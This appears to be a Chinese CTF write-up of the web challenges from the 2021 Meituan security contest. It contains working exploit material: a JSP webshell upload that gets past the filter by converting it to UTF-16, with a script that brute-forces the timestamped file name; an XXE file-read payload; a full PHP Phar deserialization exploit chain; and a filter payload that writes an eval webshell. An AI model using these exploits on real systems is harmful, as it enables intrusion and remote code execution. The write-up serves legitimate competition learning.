2021美团网络安全高校挑战赛web部分wp

跟着队友学到了不少东西

HackMe

随便上传一个东西显示“HACK! I filtered all the characters.”,尝试上传一个a,发现可以,上传aa不行,上传a a可以,猜测是字符不能连在一起,可以用utf-16绕过,随便拿个jsp马转成utf-16即可:

image-20211213152906765

然后上传成功之后会显示一个地址upload/1b5337d0c8ad813197b506146d8d503d/yyyyMMddhhmmssSSS.jsp,后面hint出来才知道这个yyyyMMddhhmmssSSS是上传时的时间戳,最后的SSS是毫秒,我们可以简单写个脚本来爆:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from os import name
import requests
import time
import sys
import threading


def func(fname):
    res = requests.get(fname)
    if "Something went wrong" not in res.text:
        print(fname)
        sys.exit(0)


url = "http://127.0.0.1:49154"

file = "shell.jsp"
files = {"file": open(file, "rb")}

prev = time.strftime("%Y%m%d%H%M%S", time.localtime())
# prev = "20211212172308"
print(prev)
res = requests.post(url + "/UploadServlet", files=files)
# print(res.text)
start = time.strftime("%Y%m%d%H%M%S", time.localtime())
print(start)


for i in range(5):
    for j in range(1000):
        fname = f"{url}/page.jsp?file=upload/1b5337d0c8ad813197b506146d8d503d/{int(prev) + i}{str(j).zfill(3)}"
        # print(fname)
        thread = threading.Thread(target=func, args=(fname,))
        thread.start()

UpStorage

登录的时候抓包,发现传的是xml,直接xxe读源码:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE convert [ 
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=class.php">
]>
<user><username>&file;</username><password>dfsaa</password></user>

文件上传+LFI+class,很容易想到Phar反序列化,exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<?php
//error_reporting(0);
//$dbaddr = "127.0.0.1";
//$dbuser = "root";
//$dbpass = "";
//$dbname = "ctf";
//$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);


abstract class Users {

    public $db;

    abstract public function verify_user($username, $password);
    abstract public function check_user_exist($username);
    abstract public function add_user($username, $password);
    abstract protected function eval();

    public function test() {
        $this->eval();
    }
}


class User extends Users {

    public $db;
    private $func;
    protected $param;

    public function __construct() {
        $this->func = "call_user_func";
        $this->param = array("Logs","log");
    }


    protected function eval() {
        if (is_array($this->param)) {
            ($this->func)($this->param);
        } else {
            die("no!");
        }
    }

    public function verify_user($username, $password)
    {
        // TODO: Implement verify_user() method.
    }

    public function check_user_exist($username)
    {
        // TODO: Implement check_user_exist() method.
    }

    public function add_user($username, $password)
    {
        // TODO: Implement add_user() method.
    }
}


class Welcome{

    public $file;
    public $username;
    public $password;
    public $verify;
    public $greeting;

    public function __construct($username)
    {
        $this->username = $username;
        $this->password = "index.php";
    }

    public function __toString(){
        return $this->verify->verify_user($this->username,$this->password);
    }

    public function __wakeup(){
        $this->greeting = "Welcome ".$this->username.":)";
    }
}


class File {
    public $filename;
    public $fileext;
    public $basename;

    public function __construct()
    {
        $this->filename = new User();
    }

    public function check_file_exist($filename) {
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function __call($func, $params) {
        foreach($params as $param){
            if($this->check_file_exist($param)) {
                $this->filename->test();
            }
        }
    }

}


class Logs {

    public $log;

    public function log() {
        $log = $_GET['log'];
        if(preg_match("/rot13|base|toupper|encode|decode|convert|bzip2/i", $log)) {
            die("hack!");
        }
        file_put_contents($log,'<?php exit();'.$log);
    }
}

$welcome1 = new Welcome("index.php");
$welcome1->verify = new File();
$welcome2 = new Welcome($welcome1);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($welcome2); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

log处的死亡exit绕过可以参考2020WMCTF的checkin,payload:php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy